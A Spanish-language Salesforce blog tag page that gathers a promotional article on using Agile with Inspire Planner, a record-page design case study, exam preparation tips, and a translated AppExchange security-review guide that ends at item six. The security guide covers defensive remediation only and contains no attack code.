Skip to content

Etiqueta: Objeto

Uso de Agile en proyectos de Salesforce – Inspire Planner

Uso de Agile en proyectos de Salesforce - Inspire Planner

Los enfoques tradicionales de gestión de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicación, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Según diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinación interfuncional se citó a menudo como el factor de riesgo más importante para el fracaso del proyecto CRM. Imagine la frustración de invertir tiempo y recursos en un proyecto de Salesforce sólo para verlo descarrilado por estrategias de gestión inflexibles.

La metodología Agile ofrece una salida. En comparación, sólo el 9% de los proyectos ágiles terminan en fracaso. Diseñado para la adaptabilidad y la colaboración, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a través del enfoque iterativo.

En este artículo, descubrirá cómo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodología de gestión de proyectos en cascada versus ágil: descripción general rápida

Waterfall es una metodología tradicional de gestión de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodología Waterfall avanzan a través de fases predefinidas, desde la recopilación de requisitos hasta la implementación del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gestión de proyectos en cascada de Inspire Planner en SalesforceGestión de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodología Agile es un enfoque colaborativo para la gestión de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteración rápida. En lugar de una progresión lineal, los proyectos se dividen en tareas pequeñas y manejables llamadas "sprints" o "iteraciones", que son períodos cortos con un límite de tiempo.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Si diferentes equipos de su organización utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con éxito ambas metodologías, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener éxito. La metodología ágil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega más rápida que los métodos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y dinámicos, mientras que la mayoría de los equipos (59,1%) prefiere sprints de 2 semanas.
  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% más rápido y un 16% más productivo que el modelo de desarrollo de proyectos convencional.
  • Participación del cliente: Agile enfatiza la colaboración y la comunicación abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentación periódica después de cada sprint. Esta participación continua garantiza que el producto se desarrolle según sus expectativas, lo que reduce las posibilidades de sorpresas de último momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obstáculos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su énfasis en la planificación y las revisiones periódicas, facilita la estimación de cronogramas y presupuestos. Cada sprint tiene una duración y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones rápidamente y con una fuente de alta previsibilidad.

Cómo Agile en Salesforce mejora la gestión de proyectos

El verdadero potencial de Salesforce sólo puede desbloquearse si se combina con un enfoque de gestión de proyectos adaptativo. Así es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentación: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentación suele ser una ocurrencia tardía. Agile en Salesforce permite adaptaciones rápidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints más pequeños y manejables. Según una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptación y eficacia.
  • Colaboración y comunicación: Agile no es solo una metodología; es una cultura. Mejora un entorno de comunicación abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, estén en sintonía. Esta colaboración mejorada garantiza que la implementación de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura ágil sólida en su organización puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las características destacadas de Agile es su énfasis en la visibilidad. Herramientas como los tableros Kanban y los gráficos de evolución ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendición de cuentas y permite intervenciones oportunas si el proyecto se desvía de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gestión de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificación temprana de posibles obstáculos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen rápidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Después de cada sprint, los equipos realizan retrospectivas, analizando qué salió bien y qué no. Estos conocimientos allanan el camino para la optimización de procesos, garantizando que el equipo evolucione y mejore. Según Hexacta, adoptar una mentalidad de mejora continua en el desarrollo ágil ayuda a mejorar la productividad del equipo y mejora la innovación.
Registro de riesgos del proyecto en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Implementación de Agile en proyectos de Salesforce

La integración de metodologías ágiles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aquí hay una guía de 4 pasos para incorporar Agile a la perfección en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas específicas.

  • Propietario del producto: el propietario del producto establece la visión del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos ágiles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementación real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gestión de proyectos para ayudar en la implementación ágil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios ágiles, como:

  • Reserva
  • tableros kanban
  • Planificación de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes ágiles y paneles de control

Inspire Planner es una aplicación de gestión de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificación de sus clientes con más de 140 reseñas de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar fácilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.

Dado que Inspire Planner se encuentra dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Además, Inspire Planner también ofrece una funcionalidad avanzada pero intuitiva de gestión de proyectos en cascada. Al combinar las metodologías Waterfall y Agile en un solo paquete con un solo costo de suscripción, Inspire Planner es la aplicación para todas sus necesidades de gestión de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Planificación de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gestión de proyectos:

  • Planificación de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obstáculos y garantizar que la implementación de Salesforce siga por buen camino.
  • Revisiones de Sprint: después de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptación a los desafíos relacionados con Agile en Salesforce

Cada plataforma tiene desafíos únicos y Salesforce no es una excepción. Las ceremonias ágiles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones específicas de Salesforce, integraciones con aplicaciones no nativas o la gestión de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duración de los sprints puede variar según los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores prácticas específicas de Salesforce.

Mejores prácticas para introducir Agile en Salesforce

Fusionar el mundo de las metodologías ágiles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores prácticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores prácticas que puede probar:

Capacitación y mejora de equipos en prácticas ágiles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo esté bien equipado para nadar. Esto significa invertir en sesiones de capacitación integrales que presenten a los miembros del equipo los principios básicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar fácilmente los desafíos de las implementaciones de Salesforce. Además, las sesiones periódicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las últimas metodologías ágiles y aplicaciones ágiles para Salesforce.

Garantizar canales de comunicación claros entre los expertos de Salesforce y los profesionales ágiles

La comunicación clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales ágiles que aportan experiencia en metodología.

Esto garantiza que los procesos ágiles se adapten a las demandas únicas de Salesforce. Las reuniones periódicas, las sesiones frecuentes de retroalimentación y los canales de comunicación abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar periódicamente el proceso ágil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos ágiles continuamente. Esto podría significar ajustar la duración de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas específicas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas periódicas pueden ofrecer información sobre áreas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desafíos de Agile en Salesforce y Soluciones

Combinar metodologías ágiles con implementaciones de Salesforce, si bien es prometedor, es un desafío. Sin embargo, estos desafíos pueden abordarse eficazmente con previsión y planificación estratégica.

Éstos son algunos de los posibles obstáculos y cómo superarlos:

Resistencia al cambio de las metodologías tradicionales

  • Desafío: Los equipos acostumbrados a las metodologías tradicionales de gestión de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Solución: La gestión del cambio es clave. Comience con sesiones de concientización que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres prácticos, las historias de éxito y los proyectos piloto pueden ayudar a los equipos a realizar una transición sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopción.

Alinear sprints ágiles con los ciclos de lanzamiento de Salesforce

  • Desafío: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints ágiles. Esto puede provocar problemas de sincronización, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Solución: La planificación estratégica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podría significar sprints más cortos o alinear sprints específicos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos rápidos de desarrollo

  • Desafío: La naturaleza iterativa de Agile significa ciclos de desarrollo rápidos. Si bien esto garantiza una entrega más rápida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Solución: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integración continua y las revisiones periódicas del código pueden garantizar que la calidad no se vea comprometida. Además, dedicar sprints específicos o partes de sprints a controles de calidad, especialmente después de importantes personalizaciones de Salesforce, puede garantizar un producto final sólido.

Pensamientos finales

La fusión de metodologías ágiles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodologías tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendación sino un imperativo estratégico. A medida que la industria continúa evolucionando, la capacidad de adaptarse e iterar rápidamente definirá el éxito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evolución y mejorar la colaboración. El futuro llama y es ágil.

Seguir leyendo

Un diseño tipo "cortador de galletas" puede ser lo que sus usuarios necesitan

Un diseño tipo "cortador de galletas" puede ser lo que sus usuarios necesitan

La personalización es un sello distintivo de Salesforce, pero ¿qué sucede cuando se exagera? Durante más de 20 años, una organización del sector público creó versiones específicas para equipos de las páginas de registros de Salesforce Lightning Experience . Demasiados diseños causaron confusión y llevaron a las personas a mantener sus propias hojas de cálculo en lugar de completar Sales Cloud . Todo eso cambió cuando un Trailblazer con certificación 10X introdujo un patrón de diseño simple y repetible.

"El modelo simple puede ser algo útil", dijo Prag Ravichandran Kamalaveni, fundador y director ejecutivo de Skilled Cohort .

Establezca las bases para el crecimiento con Sales Cloud

Maximice la productividad, obtenga información valiosa y optimice los procesos para crecer con usted.

Este #DreamDesigner devolvió al cliente a los conceptos básicos de UX . Juntos, implementaron una plantilla universal para páginas de registros Lightning con objetos estándar y personalizados . El enfoque permitió a los usuarios navegar por las páginas más fácilmente y eliminar sus hojas de cálculo. "La gente volvió a Sales Cloud para completar la información", dijo. "Comenzaron a sentirse más seguros de que podían hacer lo que tenían que hacer y hacerlo rápidamente".

Por fin, todos podrían beneficiarse de una única fuente de verdad.

El buen diseño fomenta la creación de hábitos

"El buen diseño se basa en la memoria muscular y así es como puede convertirse en un hábito", dijo Prag, quien trabajó en este proyecto mientras trabajaba en CloudKettle , una consultoría que ayuda a las organizaciones a mejorar las operaciones de ingresos.

Su estrategia de diseño tiene en cuenta que todos desarrollan atajos mentales a medida que avanzan. Los procesos son más fáciles cuando son familiares. Por lo tanto, los componentes familiares en las páginas de registro pueden aumentar la eficiencia y permitir a los usuarios actuar sin fricciones.

Entonces Praga hizo una plantilla con dos columnas. Le dio a los elementos del patrón de diseño el mismo aspecto, ubicación y propósito en todos los casos. No existía una razón crítica para el negocio para recrear la rueda. En todo caso, fue todo lo contrario. Los usuarios necesitaban poder confiar en una experiencia de usuario intuitiva. Necesitaban confiar en lo que saben sobre un patrón para informar cualquier página en la que se encontraran.

"Hay una única razón por la que esto funcionó", dijo. "Todas las páginas de registro con plantilla fueron posibles gracias a Salesforce Lightning Design System (SLDS) ".

Centrarse en la reutilización

Hay grandes beneficios al diseñar sistemas. Prag confió en SLDS como recursos para crear páginas de registro consistentes con los principios de experiencia del usuario, el lenguaje de diseño y las mejores prácticas de Salesforce. "La arquitectura integrada basada en componentes nos permitió segregar la información agrupada en una plantilla universal para páginas de registro", dijo.

Después de todo, incluso una pequeña elección de diseño puede crear dificultades para los usuarios. Si un elemento está en un lugar nuevo, puede provocar agotamiento mental, arrastre y, finalmente, resignación.

“Además, algo que afecta a los usuarios es la necesidad de volver a aprender una experiencia o ralentizar su flujo”, dijo Alan Weibel, arquitecto de UX de Salesforce.

Los nuevos patrones de diseño se realizaron a nivel de macrointeracción y a nivel de microinteracción. Prag se aseguró de que las tareas más grandes (por ejemplo, iniciar sesión) fueran tan uniformes como las más pequeñas (por ejemplo, envío de formularios).

La coherencia produce eficiencia

Hoy, la información del equipo está centralizada en Sales Cloud. Los usuarios se sienten cómodos con patrones de diseño familiares. El trabajo es más fácil y los beneficios de compartir información son significativos. Las desviaciones anteriores ralentizaron el trabajo y aumentaron la carga para el administrador de Salesforce. Ahora, nadie navega por diferentes páginas de diferentes maneras.

Este tipo de transformación siempre es posible. Prag lo vio cientos de veces en sus trece años especializándose en Salesforce. La clave es que las organizaciones sigan evaluando su implementación para reducir la deuda tecnológica y la deuda de diseño .

Lo que funcionó antes puede no funcionar ahora.

Esa es la belleza del diseño. Es una conversación en curso. Y, a veces, patrones de diseño consistentes son justo lo que necesita para que su equipo vuelva a encarrilarse.

Seguir leyendo

Preparación para el examen de arquitecto de datos certificado de Salesforce

Preparación para el examen de arquitecto de datos certificado de Salesforce

Ha estado en mi mente por un tiempo, ya que para mí esta certificación era la última que me faltaba por adquirir en la ruta de Arquitecto de Aplicaciones (da la casualidad de que también tengo el certificado "opcional" de Experience Cloud).

Tener muchas cosas sucediendo en este momento y anhelar algo de espacio mental fue el detonante que el otro día me hizo decir: “Bueno, también puedo intentarlo; Ojalá se me quite de la cabeza de una vez por todas”. Aprendería de cualquier manera, ¡eso es seguro!

Y esto pasó…

¡Uf!

Algunas personas se han acercado para preguntar sobre la preparación para el examen y la orientación, por eso escribo esto aquí para tratar de ayudar a otros.

El contexto es clave

Cualquier certificación de examen que hago está dentro de contexto, con eso me refiero a haber trabajado ya durante algún tiempo en el producto en cuestión.

"Somos lo que hacemos repetidamente. La excelencia, entonces, no es un acto sino un hábito." -Aristóteles

Así es como funciona mi cerebro; de lo contrario, lo encuentro como una actividad abstracta que depende principalmente de la memoria más que de la experiencia. Y bueno, después de todo, soy un Scrum Master, ¡el empirismo existe!

"Salesforce recomienda encarecidamente una combinación de experiencia laboral, asistencia a cursos y autoestudio para maximizar sus posibilidades de aprobar el examen". —Comienzo del sendero

Guía de examen

La oración anterior proviene de la guía del examen; solía ser un PDF, pero ahora el contenido está integrado en Trailhead.

La guía del examen es SIEMPRE tu punto de partida, me sorprende cuánta gente no usa este recurso (¡algunos ni siquiera saben que existe! ¡¿Cómo?!).

La guía del examen está diseñada para ayudarlo a evaluar SI está listo para completar con éxito el examen. Y le brinda un desglose de todas las secciones y temas que se cubrirán, y también de lo que se espera de usted. Por ejemplo en este en particular:

La credencial de Arquitecto de datos certificado de Salesforce está destinada al arquitecto que evalúa el entorno y los requisitos de la arquitectura; y diseña soluciones sólidas, escalables y de alto rendimiento en la plataforma Customer 360. El Arquitecto también tendrá experiencia trabajando con lo siguiente:

  • Modelado de datos y diseño de bases de datos
  • Gestión de datos maestros
  • Gestión de datos de Salesforce
  • Dato de governancia
  • Consideraciones sobre grandes volúmenes de datos
  • Migración de datos

El arquitecto tiene experiencia en comunicar soluciones y diseñar compensaciones a empresas y partes interesadas de TI.

Incluso tienes el esquema del examen donde puedes ampliar cada sección (aquí es donde está lo bueno):

Recursos

¿Mencioné la guía del examen?… ¡Úsala en serio! https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

Literalmente creé mi propio documento a partir de él y desglosé cada elemento, definí la lógica y las consideraciones, escribir y estructurar me ayuda a digerir y reforzar algunos conceptos. Por ejemplo, escribí este artículo disponible públicamente para Pardot hace bastantes años, solo para darle una idea.

Hablando de empirismo, en general, mi mejor recurso es… ¡una organización de edición para desarrolladores! ¡Donde pruebo todo y más! Practica, practica, practica: soy un poco de la vieja escuela en eso: toma el desglose de la guía de certificados para cada elemento, define la lógica y luego juega con ella.

Algunos de los contenidos de este en particular pueden ser un poco más complicados, como grandes volúmenes de datos, pero afortunadamente he estado en algunos proyectos relevantes incluso recientemente, lo que siempre ayuda. También el año pasado con el Sr. Agente Gill 😉

Aunque se escribió hace bastante tiempo, este artículo sigue siendo una lectura muy relevante https://developer.salesforce.com/blogs/engineering/2013/06/extracting-large-data-volume-ldv-in-force-com, y que le permitirá revisar PK Chunking y Bulk API.

Siguiendo con más contenido de la vieja escuela de "antaño", consulte la serie de Extreme Force.com, aquí está la Parte 1: https://developer.salesforce.com/blogs/engineering/2013/02/extreme- carga-de-datos-de-salesforce-parte-1-ajuste-su-modelo-de-datos

Probablemente también sugeriría ignorar sus patrones de diseño de integración, lo que le ayudará a guiar algunas decisiones de respuesta: https://developer.salesforce.com/docs/atlas.en-us.integration_patterns_and_practices.meta/integration_patterns_and_practices/integ_pat_intro_overview.htm

Hacer una combinación de escribirlo yo mismo, probar los conceptos, luego ver algunos videos sobre el mismo concepto y leer más me ayudó a mantenerme concentrado.

Consejos

Como sabe, no puedo darle ningún detalle, eso sería una violación de los términos y condiciones del programa de certificación y tiene consecuencias graves, tanto para quienes comparten como para quienes utilizan cualquier información expuesta del examen.

Lo que te puedo decir es que deberías revisar:

  • Cuándo o cuándo no usar Cuentas personales (esa es la vista de Salesforce, por encima de su opinión)
  • Cómo mejorar la calidad de los datos en toda su pila tecnológica
  • Cuándo o cuándo no utilizar Rollups
  • Qué API usar cuando
  • Cómo manejar grandes volúmenes de datos (es decir, carga, rendimiento, exportación, cosas como compartir, bloqueos, etc.)
  • Cuándo o cuándo no utilizar relaciones maestro-detalle
  • Qué tipo de integración usar y cuándo
  • Cómo capturar y gestionar metadatos
  • Cuándo y cuándo no utilizar objetos grandes y objetos externos
  • Gestión de datos maestros
  • Gobernanza: cumplimiento y funcionalidad relacionada

Seguramente me he perdido algo, pero eso es lo más importante en este momento. Consulte y trabaje con su guía de examen: https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

¿Qué estás haciendo?

Recuerde también: el objetivo no es simplemente aprobar un examen, sino demostrar que ya tiene el conocimiento y la experiencia.

Ahora es tu turno: ¿Para qué certificación estás trabajando? ¿Cuál es su enfoque?

¡Cuéntanos y etiquétanos para que podamos celebrar contigo!

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

